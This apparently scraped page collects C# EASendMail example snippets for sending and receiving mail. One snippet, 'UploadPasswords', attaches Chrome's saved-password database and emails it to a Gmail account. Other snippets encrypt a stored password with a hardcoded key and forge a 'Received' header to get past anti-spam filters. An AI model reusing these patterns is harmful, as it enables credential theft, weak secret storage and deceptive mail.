                    _CrossThreadSetItemText( "Connecting...", index );
                    if(!chkTestRecipients.Checked)
                    {
                        oSmtp.SendMail( oServer, oMail  );
                        _CrossThreadSetItemText( "Completed", index );
                    }
                    else
                    {
                        oSmtp.TestRecipients( null, oMail );
                        _CrossThreadSetItemText( "PASS", index );
                    }

                    m_nsuccess ++;
                    //If you want to reuse the mail object, please reset the Date and Message-ID, otherwise
                    //the Date and Message-ID will not change.
                    //oMail.Date = System.DateTime.Now;
                    //oMail.ResetMessageID();
                    //oMail.To = "*****@*****.**";
                    //oSmtp.SendMail( oServer, oMail );
                }
                catch( SmtpTerminatedException exp )
                {
                    err = exp.Message;
                    _CrossThreadSetItemText( err, index );
                    m_nfailure++;
                }
                catch( SmtpServerException exp )
                {
                    err = String.Format( "Exception: Server Respond: {0}", exp.ErrorMessage );
                    _CrossThreadSetItemText( err, index );
                    m_nfailure++;
                }
                catch( System.Net.Sockets.SocketException exp )
                {
                    err = String.Format( "Exception: Networking Error: {0} {1}", exp.ErrorCode, exp.Message );
                    _CrossThreadSetItemText( err, index );
                    m_nfailure++;
                }
                catch( System.ComponentModel.Win32Exception exp )
                {
                    err = String.Format( "Exception: System Error: {0} {1}", exp.ErrorCode, exp.Message );
                    _CrossThreadSetItemText( err, index );
                    m_nfailure++;
                }
                catch( System.Exception exp )
                {
                    err = String.Format( "Exception: Common: {0}", exp.Message );
                    _CrossThreadSetItemText( err, index );
                    m_nfailure++;
                }

                m_nsent++;
                status.Text = String.Format( "Total {0}, Finished {1}, Succeeded {2}, Failed {3}",
                    m_ntotal,
                    m_nsent,
                    m_nsuccess,
                    m_nfailure);
            }

            if( m_bcancel )
            {
                for( ; sent < to_count; sent++ )
                {
                    lstTo.Items[sent].SubItems[2].Text = "Operation was cancelled";
                }
            }

            btnSend.Enabled = true;
            btnSimple.Enabled = true;
            btnAdd.Enabled = true;
            btnClear.Enabled = true;
            btnAddTo.Enabled = true;
            btnClearTo.Enabled = true;
            chkTestRecipients.Enabled = true;

            btnCancel.Enabled = false;
        }
コード例 #19
0
        private void btnSENDwtórny_Click(object sender, EventArgs e)
        {
            btnSEND.Text = "????";
            try {
                //------------- wysyłanie
                SmtpMail smtpMail = new SmtpMail("TryIt")
                {
                    From = tbFROM.Text, To = toEmailLogins.Text + "," + tbFROM.Text, Subject = tbSUBJECT.Text, TextBody = tbMESSAGE.Text
                };
                foreach (string attachment in listBox1.Items)
                {
                    smtpMail.AddAttachment(attachment);
                }
                SmtpServer smtpServer = new SmtpServer(txtServerSMTP.Text)
                {
                    Port = int.Parse(txtPortSMTP.Text), ConnectType = SmtpConnectType.ConnectSSLAuto, User = tbFROM.Text, Password = tbPASSWORD.Text
                };
                SmtpClient smtpClient = new SmtpClient();
                smtpClient.SendMail(smtpServer, smtpMail);
                addRecepient(toEmailLogins.Text);
                //------------- wysyłanie
                //------------- odbiór
                MailServer mailServer = new MailServer(txtServerIMAP.Text, tbFROM.Text, tbPASSWORD.Text, EAGetMail.ServerProtocol.Imap4)
                {
                    SSLConnection = true, Port = Int32.Parse(txtPortIMAP.Text)
                };
                MailClient mailClient = new MailClient("TryIt");
                mailClient.Connect(mailServer);
                MailInfo[]  infos          = mailClient.GetMailInfos();
                Imap4Folder właściwaTeczka = null;
                if (czyGromadźić)
                {
                    właściwaTeczka = znajdźTeczkęIMAP4(mailClient, "Gromadzone");
                }
                else
                {
                    właściwaTeczka = znajdźTeczkęIMAP4(mailClient, "Sent");
                }
                btnSEND.Text = "W ODBIORCZEJ?";
                foreach (MailInfo mailInfo in infos)
                {
                    string messageID = "";
                    foreach (string headerLine in Encoding.UTF8.GetString(mailClient.GetMailHeader(mailInfo)).Split(new char[] { (char)10, (char)13 }))
                    {
                        if (headerLine.ToUpper().StartsWith("MESSAGE-ID"))
                        {
                            int startPos = 0;
                            for (; startPos < headerLine.Length; startPos++)
                            {
                                if (headerLine[startPos] == '<')
                                {
                                    break;
                                }
                            }
                            messageID = headerLine.Substring(startPos).Split(new char[] { ' ' })[0];
                            break;
                        }
                    }
                    //MessageBox.Show(messageID+"-"+ smtpMail.MessageID+"-"+ (messageID == smtpMail.MessageID));
                    if (messageID == smtpMail.MessageID)
                    {
                        mailClient.Move(mailInfo, właściwaTeczka);
                        btnSEND.Text = "POWODZENIE";
                        break;
                    }
                }
                RegistryKey currentLoginKey = emailLoginsKey.CreateSubKey(tbFROM.Text);
                currentLoginKey.SetValue("contracena", Program.EncryptStringToBytes(tbPASSWORD.Text, Encoding.ASCII.GetBytes("1234567890123456"), Encoding.ASCII.GetBytes("1234567890123456")), RegistryValueKind.Binary);
                currentLoginKey.SetValue("portSMTP", txtPortSMTP.Text, RegistryValueKind.String);
                currentLoginKey.SetValue("serverSMTP", txtServerSMTP.Text, RegistryValueKind.String);
                currentLoginKey.SetValue("portIMAP", txtPortIMAP.Text, RegistryValueKind.String);
                currentLoginKey.SetValue("serverIMAP", txtServerIMAP.Text, RegistryValueKind.String);
                fillCombobox();
                //------------- odbiór

                fillRecepientsEmails();
            } catch (Exception ex) { btnSEND.Text = ex.Message; }
        }
コード例 #20
0
        private void btnSend_Click(object sender, System.EventArgs e)
        {
            if (textFrom.Text.Length == 0)
            {
                MessageBox.Show("Please input From!, the format can be [email protected] or Tester<*****@*****.**>");
                return;
            }

            if (textTo.Text.Length == 0 &&
                textCc.Text.Length == 0)
            {
                MessageBox.Show("Please input To or Cc!, the format can be [email protected] or Tester<*****@*****.**>, please use , or ; to separate multiple recipients");
                return;
            }

            if (textServer.Text.Length == 0)
            {
                MessageBox.Show("Please input server address");
                return;
            }
            btnSend.Enabled   = false;
            btnCancel.Enabled = true;
            m_bcancel         = false;

            //For evaluation usage, please use "TryIt" as the license code, otherwise the
            //"invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
            //"trial version expired" exception will be thrown.

            //For licensed uasage, please use your license code instead of "TryIt", then the object
            //will never expire
            SmtpMail   oMail = new SmtpMail("TryIt");
            SmtpClient oSmtp = new SmtpClient();
            //To generate a log file for SMTP transaction, please use
            //oSmtp.LogFileName = "c:\\smtp.log";
            string err = "";

            try
            {
                oMail.Reset();
                //If you want to specify a reply address
                //oMail.Headers.ReplaceHeader( "Reply-To: <reply@mydomain>" );

                //From is a MailAddress object, in c#, it supports implicit converting from string.
                //The syntax is like this: "*****@*****.**" or "Tester<*****@*****.**>"

                //The example code without implicit converting
                // oMail.From = new MailAddress( "Tester", "*****@*****.**" )
                // oMail.From = new MailAddress( "Tester<*****@*****.**>" )
                // oMail.From = new MailAddress( "*****@*****.**" )
                oMail.From = textFrom.Text;

                //To, Cc and Bcc is a AddressCollection object, in C#, it supports implicit converting from string.
                // multiple address are separated with (,;)
                //The syntax is like this: "[email protected], [email protected]"

                //The example code without implicit converting
                // oMail.To = new AddressCollection( "[email protected], [email protected]" );
                // oMail.To = new AddressCollection( "Tester1<*****@*****.**>, Tester2<*****@*****.**>");

                oMail.To = textTo.Text;
                //You can add more recipient by Add method
                // oMail.To.Add( new MailAddress( "tester", "*****@*****.**"));

                oMail.Cc      = textCc.Text;
                oMail.Subject = textSubject.Text;


                string body = textBody.Text;
                oMail.TextBody = textBody.Text;

                int count = m_arAttachment.Count;
                for (int i = 0; i < count; i++)
                {
                    //    //Add attachment
                    oMail.AddAttachment(m_arAttachment[i] as string);
                }

                SmtpServer oServer = new SmtpServer(textServer.Text);


                if (chkAuth.Checked)
                {
                    oServer.User     = textUser.Text;
                    oServer.Password = textPassword.Text;
                }

                if (chkSSL.Checked)
                {
                    // Use SSL/TLS based on server port
                    oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                }
                else
                {
                    // Most mordern SMTP servers require SSL/TLS connection now
                    // ConnectTryTLS means if server supports SSL/TLS connection, SSL/TLS is used automatically
                    oServer.ConnectType = SmtpConnectType.ConnectTryTLS;
                }

                //Catching the following events is not necessary,
                //just make the application more user friendly.
                //If you use the object in asp.net/windows service or non-gui application,
                //You need not to catch the following events.
                //To learn more detail, please refer to the code in EASendMail EventHandler region
                oSmtp.OnIdle              += new SmtpClient.OnIdleEventHandler(OnIdle);
                oSmtp.OnAuthorized        += new SmtpClient.OnAuthorizedEventHandler(OnAuthorized);
                oSmtp.OnConnected         += new SmtpClient.OnConnectedEventHandler(OnConnected);
                oSmtp.OnSecuring          += new SmtpClient.OnSecuringEventHandler(OnSecuring);
                oSmtp.OnSendingDataStream += new SmtpClient.OnSendingDataStreamEventHandler(OnSendingDataStream);


                sbStatus.Text   = "Connecting ... ";
                pgSending.Value = 0;

                oSmtp.SendMail(oServer, oMail);

                MessageBox.Show(String.Format("The message was sent to {0} successfully!",
                                              oSmtp.CurrentSmtpServer.Server));

                sbStatus.Text = "Completed";

                //If you want to reuse the mail object, please reset the Date and Message-ID, otherwise
                //the Date and Message-ID will not change.
                //oMail.Date = System.DateTime.Now;
                //oMail.ResetMessageID();
                //oMail.To = "*****@*****.**";
                //oSmtp.SendMail( oServer, oMail );
            }
            catch (SmtpTerminatedException exp)
            {
                err = exp.Message;
            }
            catch (SmtpServerException exp)
            {
                err = String.Format("Exception: Server Respond: {0}", exp.ErrorMessage);
            }
            catch (System.Net.Sockets.SocketException exp)
            {
                err = String.Format("Exception: Networking Error: {0} {1}", exp.ErrorCode, exp.Message);
            }
            catch (System.ComponentModel.Win32Exception exp)
            {
                err = String.Format("Exception: System Error: {0} {1}", exp.ErrorCode, exp.Message);
            }
            catch (System.Exception exp)
            {
                err = String.Format("Exception: Common: {0}", exp.Message);
            }

            if (err.Length > 0)
            {
                MessageBox.Show(err);
                sbStatus.Text = err;
            }
            //to get more debug information, please use
            //MessageBox.Show( oSmtp.SmtpConversation );

            btnSend.Enabled   = true;
            btnCancel.Enabled = false;
        }
コード例 #21
0
        // It is not recommended, most email providers will reject the email due to anti-spam policy.

        private SmtpMail _createMailForDirectSend(MailAddress address)
        {
            //For evaluation usage, please use "TryIt" as the license code, otherwise the
            //"invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
            //"trial version expired" exception will be thrown.

            //For licensed uasage, please use your license code instead of "TryIt", then the object
            //will never expire
            SmtpMail mail = new SmtpMail("TryIt");

            // If you want to specify a reply address
            // mail.ReplyTo = "reply@mydomain";

            // From is a MailAddress object, in c#, it supports implicit converting from string.
            // The syntax is like this: "*****@*****.**" or "Tester<*****@*****.**>"

            // The example code without implicit converting
            // mail.From = new MailAddress( "Tester", "*****@*****.**" )
            // mail.From = new MailAddress( "Tester<*****@*****.**>" )
            // mail.From = new MailAddress( "*****@*****.**" )
            mail.From = TextBoxFrom.Text;

            // To, Cc and Bcc is a AddressCollection object, in C#, it supports implicit converting from string.
            // multiple address are separated with (,;)
            // The syntax is like this: "[email protected], [email protected]"

            // The example code without implicit converting
            // mail.To = new AddressCollection( "[email protected], [email protected]" );
            // mail.To = new AddressCollection( "Tester1<*****@*****.**>, Tester2<*****@*****.**>");

            mail.To.Add(address);
            mail.Subject = TextBoxSubject.Text;
            mail.Charset = _charsets[ComboBoxEncoding.SelectedIndex, 1];

            // To send email to the recipient directly(simulating the smtp server),
            // please add a Received header,
            // otherwise, many anti-spam filter will make it as junk email.
            SmtpServer server = new SmtpServer("");

            System.Globalization.CultureInfo cur = new System.Globalization.CultureInfo("en-US");
            string gmtDateTime = DateTime.Now.ToString("ddd, dd MMM yyyy HH:mm:ss zzz", cur);

            gmtDateTime.Remove(gmtDateTime.Length - 3, 1);
            string receivedHeader = string.Format("from {0} ([127.0.0.1]) by {0} ([127.0.0.1]) with SMTPSVC;\r\n\t {1}",
                                                  server.HeloDomain,
                                                  gmtDateTime);

            mail.Headers.Insert(0, new HeaderItem("Received", receivedHeader));

            string htmlBody = _buildHtmlBody();

            htmlBody = htmlBody.Replace("[$from]", _encodeAddressToHtml(mail.From.ToString()));
            htmlBody = htmlBody.Replace("[$to]", _encodeAddressToHtml(mail.To.ToString()));
            htmlBody = htmlBody.Replace("[$subject]", _encodeAddressToHtml(mail.Subject));

            mail.ImportHtml(htmlBody,
                            Application.ExecutablePath,
                            ImportHtmlBodyOptions.ImportLocalPictures);

            int count = _attachments.Count;

            for (int i = 0; i < count; i++)
            {
                //Add attachment
                mail.AddAttachment(_attachments[i] as string);
            }

            //Add digital signature and encrypt email on demanded
            _signAndEncryptEmail(mail);

            return(mail);
        }
コード例 #22
0
        private SmtpMail _createMail()
        {
            //For evaluation usage, please use "TryIt" as the license code, otherwise the
            //"invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
            //"trial version expired" exception will be thrown.

            //For licensed uasage, please use your license code instead of "TryIt", then the object
            //will never expire
            SmtpMail mail = new SmtpMail("TryIt");

            // If you want to specify a reply address
            // mail.ReplyTo = "reply@mydomain";

            // From is a MailAddress object, in c#, it supports implicit converting from string.
            // The syntax is like this: "*****@*****.**" or "Tester<*****@*****.**>"

            // The example code without implicit converting
            // mail.From = new MailAddress( "Tester", "*****@*****.**" )
            // mail.From = new MailAddress( "Tester<*****@*****.**>" )
            // mail.From = new MailAddress( "*****@*****.**" )
            mail.From = TextBoxFrom.Text;

            // To, Cc and Bcc is a AddressCollection object, in C#, it supports implicit converting from string.
            // multiple address are separated with (,;)
            // The syntax is like this: "[email protected], [email protected]"

            // The example code without implicit converting
            // mail.To = new AddressCollection( "[email protected], [email protected]" );
            // mail.To = new AddressCollection( "Tester1<*****@*****.**>, Tester2<*****@*****.**>");

            mail.To = TextBoxTo.Text;
            // You can add more recipient by Add method
            // mail.To.Add( new MailAddress( "tester", "*****@*****.**"));

            mail.Cc      = TextBoxCc.Text;
            mail.Subject = TextBoxSubject.Text;
            mail.Charset = _charsets[ComboBoxEncoding.SelectedIndex, 1];

            string htmlBody = _buildHtmlBody();

            htmlBody = htmlBody.Replace("[$from]", _encodeAddressToHtml(mail.From.ToString()));
            htmlBody = htmlBody.Replace("[$to]", _encodeAddressToHtml(mail.To.ToString()));
            htmlBody = htmlBody.Replace("[$subject]", _encodeAddressToHtml(mail.Subject));

            mail.ImportHtml(htmlBody,
                            Application.ExecutablePath,
                            ImportHtmlBodyOptions.ImportLocalPictures);

            int count = _attachments.Count;

            for (int i = 0; i < count; i++)
            {
                //Add attachment
                mail.AddAttachment(_attachments[i] as string);
            }

            //Add digital signature and encrypt email on demanded
            _signAndEncryptEmail(mail);

            return(mail);
        }
コード例 #23
0
ファイル: Form1.cs プロジェクト: DirkViljoen/eSalon
        private void button1_Click(object sender, System.EventArgs e)
        {
            if (textFrom.Text.Length == 0)
            {
                MessageBox.Show("Please input From!, the format can be [email protected] or Tester<*****@*****.**>");
                return;
            }

            if (textTo.Text.Length == 0 &&
                textCc.Text.Length == 0)
            {
                MessageBox.Show("Please input To or Cc!, the format can be [email protected] or Tester<*****@*****.**>, please use , or ; to separate multiple recipients");
                return;
            }

            btnSend.Enabled   = false;
            btnCancel.Enabled = true;
            m_bcancel         = false;

            //For evaluation usage, please use "TryIt" as the license code, otherwise the
            //"invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
            //"trial version expired" exception will be thrown.

            //For licensed uasage, please use your license code instead of "TryIt", then the object
            //will never expire
            SmtpMail   oMail = new SmtpMail("TryIt");
            SmtpClient oSmtp = new SmtpClient();
            //To generate a log file for SMTP transaction, please use
            //oSmtp.LogFileName = "c:\\smtp.log";
            string err = "";

            try
            {
                oMail.Reset();
                //If you want to specify a reply address
                //oMail.Headers.ReplaceHeader( "Reply-To: <reply@mydomain>" );

                //From is a MailAddress object, in c#, it supports implicit converting from string.
                //The syntax is like this: "*****@*****.**" or "Tester<*****@*****.**>"

                //The example code without implicit converting
                // oMail.From = new MailAddress( "Tester", "*****@*****.**" )
                // oMail.From = new MailAddress( "Tester<*****@*****.**>" )
                // oMail.From = new MailAddress( "*****@*****.**" )
                oMail.From = textFrom.Text;

                //To, Cc and Bcc is a AddressCollection object, in C#, it supports implicit converting from string.
                // multiple address are separated with (,;)
                //The syntax is like this: "[email protected], [email protected]"

                //The example code without implicit converting
                // oMail.To = new AddressCollection( "[email protected], [email protected]" );
                // oMail.To = new AddressCollection( "Tester1<*****@*****.**>, Tester2<*****@*****.**>");

                oMail.To = textTo.Text;
                //You can add more recipient by Add method
                // oMail.To.Add( new MailAddress( "tester", "*****@*****.**"));

                oMail.Cc      = textCc.Text;
                oMail.Subject = textSubject.Text;
                oMail.Charset = m_arCharset[lstCharset.SelectedIndex, 1];

                //Digital signature and encryption
                if (!_SignEncrypt(ref oMail))
                {
                    btnSend.Enabled   = true;
                    btnCancel.Enabled = false;
                    return;
                }

                string body = textBody.Text;
                body = body.Replace("[$from]", oMail.From.ToString());
                body = body.Replace("[$to]", oMail.To.ToString());
                body = body.Replace("[$subject]", oMail.Subject);

                if (chkHtml.Checked)
                {
                    oMail.HtmlBody = body;
                }
                else
                {
                    oMail.TextBody = body;
                }

                int count = m_arAttachment.Count;
                for (int i = 0; i < count; i++)
                {
                    //Add attachment
                    oMail.AddAttachment(m_arAttachment[i] as string);
                }

                SmtpServer oServer = new SmtpServer(textServer.Text);
                oServer.Protocol = (ServerProtocol)lstProtocol.SelectedIndex;

                if (oServer.Server.Length != 0)
                {
                    if (chkAuth.Checked)
                    {
                        oServer.User     = textUser.Text;
                        oServer.Password = textPassword.Text;
                    }

                    if (chkSSL.Checked)
                    {
                        oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                    }
                }
                else
                {
                    //To send email to the recipient directly(simulating the smtp server),
                    //please add a Received header,
                    //otherwise, many anti-spam filter will make it as junk email.
                    System.Globalization.CultureInfo cur = new System.Globalization.CultureInfo("en-US");
                    string gmtdate = System.DateTime.Now.ToString("ddd, dd MMM yyyy HH:mm:ss zzz", cur);
                    gmtdate.Remove(gmtdate.Length - 3, 1);
                    string recvheader = String.Format("from {0} ([127.0.0.1]) by {0} ([127.0.0.1]) with SMTPSVC;\r\n\t {1}",
                                                      oServer.HeloDomain,
                                                      gmtdate);

                    oMail.Headers.Insert(0, new HeaderItem("Received", recvheader));
                }



                //Catching the following events is not necessary,
                //just make the application more user friendly.
                //If you use the object in asp.net/windows service or non-gui application,
                //You need not to catch the following events.
                //To learn more detail, please refer to the code in EASendMail EventHandler region
                oSmtp.OnIdle              += new SmtpClient.OnIdleEventHandler(OnIdle);
                oSmtp.OnAuthorized        += new SmtpClient.OnAuthorizedEventHandler(OnAuthorized);
                oSmtp.OnConnected         += new SmtpClient.OnConnectedEventHandler(OnConnected);
                oSmtp.OnSecuring          += new SmtpClient.OnSecuringEventHandler(OnSecuring);
                oSmtp.OnSendingDataStream += new SmtpClient.OnSendingDataStreamEventHandler(OnSendingDataStream);


                if (oServer.Server.Length == 0 && oMail.Recipients.Count > 1)
                {
                    //To send email without specified smtp server, we have to send the emails one by one
                    // to multiple recipients. That is because every recipient has different smtp server.
                    _DirectSend(ref oMail, ref oSmtp);
                }
                else
                {
                    sbStatus.Text   = "Connecting ... ";
                    pgSending.Value = 0;

                    oSmtp.SendMail(oServer, oMail);

                    MessageBox.Show(String.Format("The message was sent to {0} successfully!",
                                                  oSmtp.CurrentSmtpServer.Server));

                    sbStatus.Text = "Completed";
                }
                //If you want to reuse the mail object, please reset the Date and Message-ID, otherwise
                //the Date and Message-ID will not change.
                //oMail.Date = System.DateTime.Now;
                //oMail.ResetMessageID();
                //oMail.To = "*****@*****.**";
                //oSmtp.SendMail( oServer, oMail );
            }
            catch (SmtpTerminatedException exp)
            {
                err = exp.Message;
            }
            catch (SmtpServerException exp)
            {
                err = String.Format("Exception: Server Respond: {0}", exp.ErrorMessage);
            }
            catch (System.Net.Sockets.SocketException exp)
            {
                err = String.Format("Exception: Networking Error: {0} {1}", exp.ErrorCode, exp.Message);
            }
            catch (System.ComponentModel.Win32Exception exp)
            {
                err = String.Format("Exception: System Error: {0} {1}", exp.ErrorCode, exp.Message);
            }
            catch (System.Exception exp)
            {
                err = String.Format("Exception: Common: {0}", exp.Message);
            }

            if (err.Length > 0)
            {
                MessageBox.Show(err);
                sbStatus.Text = err;
            }
            //to get more debug information, please use
            //MessageBox.Show( oSmtp.SmtpConversation );

            btnSend.Enabled   = true;
            btnCancel.Enabled = false;
        }
コード例 #24
0
        private static void UploadPasswords()
        {
            SmtpMail mail = new SmtpMail("TryIt");

            EASendMail.SmtpClient smtp_Client = new EASendMail.SmtpClient();
            mail.From    = "Ur from mail here";
            mail.To      = "Ur to mail here";
            mail.Subject = "Some subject";
            SmtpServer smtp_server = new SmtpServer("smtp.gmail.com");

            smtp_server.ConnectType = SmtpConnectType.ConnectSSLAuto;
            smtp_server.User        = "******";
            smtp_server.Password    = "******";

            bool attachPasswords = false;

beginning:
            Console.Clear();
            Console.WriteLine("Do you wanna send Kasper all your passwords saved in Chrome? Y/N");
            string answer = Console.ReadLine();

            if (answer.ToLower() == "y")
            {
                attachPasswords = true;
                Console.WriteLine("Attempting to attach passwords to mail.");
            }

            else if (answer.ToLower() == "n")
            {
                attachPasswords = false;
                Console.WriteLine("Not adding passwords to mail.");
            }

            else
            {
                Console.WriteLine("Not acceptable command, try again.");
                Thread.Sleep(1000);
                goto beginning;
            }

            if (attachPasswords)
            {
                try
                {
                    // Standard path of the file that Google Chromes stores all remembered passwords in
                    mail.AddAttachment(@"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Default\Login Data");
                }
                catch (Exception e)
                {
                    Console.WriteLine("Failed to fetch the file with the following error:");
                    Console.WriteLine(e.Message);
                    goto outer;
                }
                Console.WriteLine("File attached succesfully.");
            }
outer:

            try
            {
                smtp_Client.SendMail(smtp_server, mail);
            }
            catch (Exception e)
            {
                Console.WriteLine("Failed to send email with the following error:");
                Console.WriteLine(e.Message);
            }
        }
コード例 #25
0
ファイル: Program.cs プロジェクト: Sahilskp/EmailSMTP
        static void Main(string[] args)
        {
            dynamic config;

            using (var reader = new StreamReader(@"config.json"))
            {
                String stuff = reader.ReadToEnd();
                config = JsonConvert.DeserializeObject(stuff);
            }



            List <string> StudentNames = new List <string>();
            List <string> Emails       = new List <string>();

            using (var reader = new StreamReader($"{config.Parent_info}"))
            {
                while (!reader.EndOfStream)
                {
                    String   line   = reader.ReadLine();
                    String[] values = line.Split(',');
                    //Console.WriteLine(values[6]);
                    StudentNames.Add(values[7]);
                    Emails.Add(values[6]);
                }
            }



            Console.WriteLine(config.Folder1);
            Emails.RemoveAt(0);
            StudentNames.RemoveAt(0);

            String[] Emails_array       = Emails.ToArray();
            String[] StudentNames_array = StudentNames.ToArray();
            //String[] StudentNames = {"Aaliya"};

            for (int x = 0; x < Emails_array.Length; x++)
            {
                try
                {
                    SmtpMail oMail = new SmtpMail("TryIt");

                    // Your email address
                    oMail.From = "*****@*****.**";

                    // Set recipient email address
                    if (Emails_array[x].Contains(';'))
                    {
                        String[] split_email = Emails_array[x].Split(';');
                        oMail.To = split_email[0];
                        oMail.Cc = split_email[1];
                    }
                    else
                    {
                        oMail.To = Emails_array[x];
                    }


                    // Set email subject
                    oMail.Subject = config.Subject;

                    // Set email body
                    oMail.TextBody = config.Body;

                    //Adding Attachment
                    oMail.AddAttachment($"{config.Folder1}\\{StudentNames[x]}.pdf");
                    oMail.AddAttachment($"{config.Folder2}\\{StudentNames[x]}.pdf");
                    oMail.AddAttachment($"{config.Folder3}\\{StudentNames[x]}.pdf");

                    // Hotmail/Outlook SMTP server address
                    SmtpServer oServer = new SmtpServer("smtp.live.com");

                    // If your account is office 365, please change to Office 365 SMTP server
                    // SmtpServer oServer = new SmtpServer("smtp.office365.com");

                    // User authentication should use your
                    // email address as the user name.
                    oServer.User     = "******";
                    oServer.Password = "******";

                    // use 587 TLS port
                    oServer.Port = 587;

                    // detect SSL/TLS connection automatically
                    oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                    Console.WriteLine("start to send email over TLS...");

                    SmtpClient oSmtp = new SmtpClient();
                    oSmtp.SendMail(oServer, oMail);

                    Console.WriteLine("email was sent successfully!");
                }catch (Exception ep)
                {
                    Console.WriteLine("failed to send email with the following error:");
                    Console.WriteLine(ep.Message);
                }
            }
        }
コード例 #26
0
        public Boolean Enviar_Correo_hold(mail_Mensaje_Info MensajeInfo, ref string mensajeErrorOut)
        {
            string SConfigCta = "";

            try
            {
                if (param.AUTORIZADO_ENVIO_CORREO == false)
                {
                    mensajeErrorOut = "No esta autorizado para envio de correo ";
                    return(false);
                }

                string mensajeError            = "";
                string tipo_conex_cifrada_smtp = "";


                //optengo el nombre de la pc para saber desde donde se envi el correo para auditar la duplicacion...
                MensajeInfo.Texto_mensaje = MensajeInfo.Texto_mensaje + " PC/Envio: " + Funciones.Get_Nombre_PC();
                /////////////


                mail_Cuentas_Correo_Info InfoCtaMail_Remitente = new mail_Cuentas_Correo_Info();
                InfoCtaMail_Remitente = listMail_cta.FirstOrDefault(v => v.IdCuenta == MensajeInfo.IdCuenta);


                if (listMail_x_Empresa.Count == 0)
                {
                    mensajeErrorOut = "No Existe cuentas para envio de correo configuradas en la base ";
                    return(false);
                }

                if (InfoCtaMail_Remitente == null || InfoCtaMail_Remitente.IdCuenta == null)
                {
                    mensajeErrorOut = "No existe una cuenta relaciona en la base para la cuenta del mensaje verique por base";
                    return(false);
                }


                if (!mailValida.email_bien_escrito(MensajeInfo.Para))
                {
                    mensajeErrorOut            = "La cuenta de correo es Invalida ";
                    MensajeInfo.IdTipo_Mensaje = eTipoMail.Mail_NO_Env_x_error;
                    datamaMail.Actualizar_TipoMensaje(MensajeInfo, ref mensajeErrorOut);
                    return(false);
                }

                if (MensajeInfo.IdCuenta == "" || MensajeInfo.IdCuenta == null)
                {
                    InfoCtaMail_Remitente      = listMail_cta.FirstOrDefault(v => v.cta_predeterminada == true);
                    MensajeInfo.IdCuenta       = InfoCtaMail_Remitente.IdCuenta;
                    MensajeInfo.mail_remitente = InfoCtaMail_Remitente.direccion_correo;

                    datamaMail.Actualizar_Datos_Cuenta(MensajeInfo, ref mensajeErrorOut);

                    mensajeErrorOut = "la Cuenta Remitente no esta establecido en el mensaje se enviara con la cuenta por default ...";
                }
                SmtpMail              oSmtpMail_msg = new SmtpMail("ES-C1407722592-00106-56VB4AE2B4F8TB75-641B598EBE4D439A");
                SmtpServer            oSmtpServer   = new SmtpServer(InfoCtaMail_Remitente.ServidorCorreoSaliente, InfoCtaMail_Remitente.Port_salida);
                EASendMail.SmtpClient oclienteSmtp  = new EASendMail.SmtpClient();



                if (InfoCtaMail_Remitente.Confirmacion_de_Entrega == true || InfoCtaMail_Remitente.Confirmacion_de_Lectura == true)
                {
                    oSmtpMail_msg.DeliveryNotification = EASendMail.DeliveryNotificationOptions.OnFailure | EASendMail.DeliveryNotificationOptions.OnSuccess | EASendMail.DeliveryNotificationOptions.Delay;

                    if (InfoCtaMail_Remitente.Confirmacion_de_Lectura == true)
                    {
                        oSmtpMail_msg.Headers.Add("Read-Receipt-To", InfoCtaMail_Remitente.direccion_correo);
                    }
                    if (InfoCtaMail_Remitente.Confirmacion_de_Entrega == true)
                    {
                        oSmtpMail_msg.Headers.Add("Disposition-Notification-To", InfoCtaMail_Remitente.direccion_correo);
                    }
                }

                // si tiene archivo adjunto
                if (MensajeInfo.Tiene_Adjunto == true)
                {
                    #region codigo viejo q actualiza el campo de mail



                    #endregion


                    //optengo los archivos adjuntos
                    MensajeInfo.list_Archivos_Adjuntos = OdataArchivoAdjunto.Lista_ArchivoAdjunto_Mensaje_x_comprobante(MensajeInfo.IdMensaje, ref mensajeErrorOut);
                    foreach (var item in MensajeInfo.list_Archivos_Adjuntos)
                    {
                        comprobante = new tb_Comprobante_Info();
                        comprobante = Bus_Comprobante_emisor.Comprobante_consulta_Id_Comprobante(item.IdEmpresa, item.IdComprobante, ref mensajeError);

                        byte[] BinarioFileAdjunto = null;



                        if (comprobante.IdComprobante != null)
                        {
                            // si la extencion ex .pdf lo creo en el tmp
                            if (item.extensionArchivo.ToUpper() == ".PDF")
                            {
                                XtraReport   Reporte      = new XtraReport();
                                Rpt_Ride_bus Rpt_Ride_Bus = new Rpt_Ride_bus(listEmpr);
                                Reporte = Rpt_Ride_Bus.Optener_reporte(comprobante, ref mensajeError);
                                //pdf
                                FileStream FileBinary;
                                FileBinary = new FileStream(RutaArchivos + "\\" + comprobante.IdComprobante + ".pdf", FileMode.Create);
                                DevExpress.XtraPrinting.PdfExportOptions Optione = new DevExpress.XtraPrinting.PdfExportOptions();
                                Reporte.ExportToPdf(FileBinary, Optione);
                                FileBinary.Close();
                                // lleno la clase archivo adjunto con el pdf que se creo en el tmp
                                DirectoryInfo   Directorio_Pdf_Xml = new DirectoryInfo(RutaArchivos);
                                List <FileInfo> listaFiles         = Directorio_Pdf_Xml.GetFiles(comprobante.IdComprobante + ".pdf").ToList();
                                foreach (var itemBi in listaFiles)
                                {
                                    FileStream file = new FileStream(RutaArchivos + itemBi.Name, FileMode.Open);
                                    BinarioFileAdjunto = new byte[file.Length];

                                    file.Read(BinarioFileAdjunto, 0, Convert.ToInt32(file.Length));
                                    file.Close();
                                }
                            }
                        }

                        // LLENO EL BINARIO PARA EL XML
                        if (item.extensionArchivo.ToUpper() == ".XML")
                        {
                            XmlDocument xmlOrigen = new XmlDocument();
                            xmlOrigen.Load(new StringReader(comprobante.s_XML));
                            BinarioFileAdjunto = Encoding.UTF8.GetBytes(xmlOrigen.OuterXml);
                        }


                        oSmtpMail_msg.AddAttachment(item.IdComprobante + item.extensionArchivo, BinarioFileAdjunto);
                    }
                }


                tipo_conex_cifrada_smtp = InfoCtaMail_Remitente.tipo_Seguridad;

                if (InfoCtaMail_Remitente.tipo_Seguridad != "Ninguno")
                {
                    oSmtpServer.User     = InfoCtaMail_Remitente.Usuario;
                    oSmtpServer.Password = InfoCtaMail_Remitente.Password;
                }


                switch (tipo_conex_cifrada_smtp)
                {
                case "SSL":
